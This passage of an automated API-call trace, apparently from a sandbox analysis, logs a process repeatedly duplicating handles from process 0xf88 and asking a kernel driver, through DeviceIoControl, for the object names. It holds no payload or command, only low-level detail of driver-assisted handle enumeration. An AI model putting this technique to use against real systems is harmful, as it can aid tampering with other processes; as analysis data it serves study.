0x0 [0119.287] ObfDereferenceObject (Object=0xfffffa800242c5a0) returned 0x2 [0119.287] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.287] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb0090 | out: hHeap=0x240000) returned 1 [0119.287] CloseHandle (hObject=0xc4) returned 1 [0119.287] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf88) returned 0xc4 [0119.287] GetCurrentProcess () returned 0xffffffffffffffff [0119.287] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xa4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0119.287] CloseHandle (hObject=0xc4) returned 1 [0119.287] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.287] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x88) returned 0x264c50 [0119.287] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.287] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.287] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb0090 [0119.287] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0119.287] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.287] PsAcquireProcessExitSynchronization () returned 0x0 [0119.287] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0) [0119.287] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003979880, HandleInformation=0x0) returned 0x0 [0119.287] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.287] PsReleaseProcessExitSynchronization () returned 0x2 [0119.287] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x22 [0119.287] ObQueryNameString (in: Object=0xfffffa8003979880, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.288] ObfDereferenceObject (Object=0xfffffa8003979880) returned 0x3 [0119.288] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.288] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb0090 | out: hHeap=0x240000) returned 1 [0119.288] CloseHandle (hObject=0xc0) returned 1 [0119.288] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf88) returned 0xc0 [0119.288] GetCurrentProcess () returned 0xffffffffffffffff [0119.288] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xa0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0119.288] CloseHandle (hObject=0xc0) returned 1 [0119.288] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.288] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x80) returned 0x264c50 [0119.288] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.288] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.288] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb0090 [0119.288] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0119.288] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.288] PsAcquireProcessExitSynchronization () returned 0x0 [0119.288] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0) [0119.288] ObReferenceObjectByHandle (in: Handle=0xa0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a004871060, HandleInformation=0x0) returned 0x0 [0119.288] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.288] PsReleaseProcessExitSynchronization () returned 0x2 [0119.288] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x22 [0119.288] ObQueryNameString (in: Object=0xfffff8a004871060, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.288] ObfDereferenceObject (Object=0xfffff8a004871060) returned 0x2 [0119.288] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.288] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb0090 | out: hHeap=0x240000) returned 1 [0119.288] CloseHandle (hObject=0xc4) returned 1 [0119.288] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf88) returned 0xc4 [0119.288] GetCurrentProcess () returned 0xffffffffffffffff [0119.288] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x9c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0119.288] CloseHandle (hObject=0xc4) returned 1 [0119.288] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.288] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x80) returned 0x264c50 [0119.288] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.289] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.289] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb0090 [0119.289] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0119.289] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.289] PsAcquireProcessExitSynchronization () returned 0x0 [0119.289] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0) [0119.289] ObReferenceObjectByHandle (in: Handle=0x9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800376ada0, HandleInformation=0x0) returned 0x0 [0119.289] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.289] PsReleaseProcessExitSynchronization () returned 0x2 [0119.289] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x22 [0119.289] ObQueryNameString (in: Object=0xfffffa800376ada0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.289] ObfDereferenceObject (Object=0xfffffa800376ada0) returned 0x2 [0119.289] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.289] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb0090 | out: hHeap=0x240000) returned 1 [0119.289] CloseHandle (hObject=0xc0) returned 1 [0119.289] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf88) returned 0xc0 [0119.289] GetCurrentProcess () returned 0xffffffffffffffff [0119.289] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x94, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0119.289] CloseHandle (hObject=0xc0) returned 1 [0119.289] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.289] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x78) returned 0x264c50 [0119.289] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.289] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.289] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb0090 [0119.290] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0119.290] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.290] PsAcquireProcessExitSynchronization () returned 0x0 [0119.290] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0) [0119.290] ObReferenceObjectByHandle (in: Handle=0x94, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80028c13c0, HandleInformation=0x0) returned 0x0 [0119.290] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.290] PsReleaseProcessExitSynchronization () returned 0x2 [0119.290] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x22 [0119.290] ObQueryNameString (in: Object=0xfffffa80028c13c0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.290] ObfDereferenceObject (Object=0xfffffa80028c13c0) returned 0x2 [0119.290] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.290] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb0090 | out: hHeap=0x240000) returned 1 [0119.290] CloseHandle (hObject=0xc4) returned 1 [0119.290] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf88) returned 0xc4 [0119.290] GetCurrentProcess () returned 0xffffffffffffffff [0119.290] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x90, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0119.290] CloseHandle (hObject=0xc4) returned 1 [0119.290] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x88) returned 0x264c50 [0119.290] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x264c50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x264c50*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0119.290] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff880044355a8 | out: Process=0xfffff880044355a8) returned 0x0 [0119.290] PsAcquireProcessExitSynchronization () returned 0x0 [0119.290] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355c8 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355c8) [0119.290] ObReferenceObjectByHandle (in: Handle=0x90, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880044355b0, HandleInformation=0x0 | out: Object=0xfffff880044355b0*=0xfffffa800330f390, HandleInformation=0x0) returned 0x0 [0119.290] PsReleaseProcessExitSynchronization () returned 0x2 [0119.290] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x22 [0119.290] ZwQueryObject (in: Handle=0x90, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880044355a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880044355a4) returned 0xc0000004 [0119.290] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x88, Tag=0x58637250) returned 0xfffff8a0035b3cb0 [0119.290] ZwQueryObject (in: Handle=0x90, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a0035b3cb0, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a0035b3cb0, ReturnLength=0x0) returned 0x0 [0119.290] ExFreePoolWithTag (P=0xfffff8a0035b3cb0, Tag=0x0) [0119.290] ObfDereferenceObject (Object=0xfffffa800330f390) returned 0x1 [0119.290] KeUnstackDetachProcess (ApcState=0xfffff880044355c8) [0119.290] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.291] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.291] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb0090 [0119.291] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0119.291] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.291] PsAcquireProcessExitSynchronization () returned 0x0 [0119.291] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0) [0119.291] ObReferenceObjectByHandle (in: Handle=0x90, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800330f390, HandleInformation=0x0) returned 0x0 [0119.291] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.291] PsReleaseProcessExitSynchronization () returned 0x2 [0119.291] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x22 [0119.291] ObQueryNameString (in: Object=0xfffffa800330f390, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.291] ObfDereferenceObject (Object=0xfffffa800330f390) returned 0x1 [0119.291] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.291] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb0090 | out: hHeap=0x240000) returned 1 [0119.291] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf88) returned 0xc4 [0119.291] GetCurrentProcess () returned 0xffffffffffffffff [0119.291] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x7c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0119.291] CloseHandle (hObject=0xc4) returned 1 [0119.291] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.291] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x78) returned 0x264c50 [0119.291] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.291] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.291] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb0090 [0119.291] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb0090*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0119.291] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.291] PsAcquireProcessExitSynchronization () returned 0x0 [0119.291] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0) [0119.291] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003c04760, HandleInformation=0x0) returned 0x0 [0119.291] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.291] PsReleaseProcessExitSynchronization () returned 0x2 [0119.291] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x22 [0119.291] ObQueryNameString (in: Object=0xfffffa80038b5900, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.291] ObfDereferenceObject (Object=0xfffffa8003c04760) returned 0x4 [0119.291] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.292] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb0090 | out: hHeap=0x240000) returned 1 [0119.292] CloseHandle (hObject=0xc0) returned 1 [0119.292] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf88) returned 0xc0 [0119.292] GetCurrentProcess () returned 0xffffffffffffffff [0119.292] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x78, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0119.292] CloseHandle (hObject=0xc0) returned 1 [0119.292] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x70) returned 0x264c50 [0119.292] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x70, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.292] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb0090 [0119.292] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb0090*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0119.292] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.292] PsAcquireProcessExitSynchronization () returned 0x0 [0119.292] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0) [0119.292] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a003e662a0, HandleInformation=0x0) returned 0x0 [0119.292] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.292] PsReleaseProcessExitSynchronization () returned 0x2 [0119.292] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x22 [0119.292] ObQueryNameString (in: Object=0xfffff8a003e662a0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.292] ObfDereferenceObject (Object=0xfffff8a003e662a0) returned 0x2 [0119.292] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.292] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb0090 | out: hHeap=0x240000) returned 1 [0119.292] CloseHandle (hObject=0xc4) returned 1 [0119.292] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf88) returned 0xc4 [0119.292] GetCurrentProcess () returned 0xffffffffffffffff [0119.292] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x4c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0119.292] CloseHandle (hObject=0xc4) returned 1 [0119.292] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x78) returned 0x264c50 [0119.292] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.292] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb0090 [0119.292] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0119.293] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.293] PsAcquireProcessExitSynchronization () returned 0x0 [0119.293] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0) [0119.293] ObReferenceObjectByHandle (in: Handle=0x4c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020f96a0, HandleInformation=0x0) returned 0x0 [0119.293] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.293] PsReleaseProcessExitSynchronization () returned 0x2 [0119.293] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x22 [0119.293] ObQueryNameString (in: Object=0xfffffa80020f96a0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.293] ObfDereferenceObject (Object=0xfffffa80020f96a0) returned 0x2 [0119.293] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.293] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb0090 | out: hHeap=0x240000) returned 1 [0119.293] CloseHandle (hObject=0xc0) returned 1 [0119.293] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf88) returned 0xc0 [0119.293] GetCurrentProcess () returned 0xffffffffffffffff [0119.293] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x3c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0119.293] CloseHandle (hObject=0xc0) returned 1 [0119.293] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.293] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x88) returned 0x264c50 [0119.293] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.293] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.293] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb0090 [0119.293] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb0090*, lpBytesReturned=0x12d450*=0x5e, lpOverlapped=0x0) returned 1 [0119.293] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.293] PsAcquireProcessExitSynchronization () returned 0x0 [0119.293] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0) [0119.293] ObReferenceObjectByHandle (in: Handle=0x3c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003038b60, HandleInformation=0x0) returned 0x0 [0119.293] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.293] 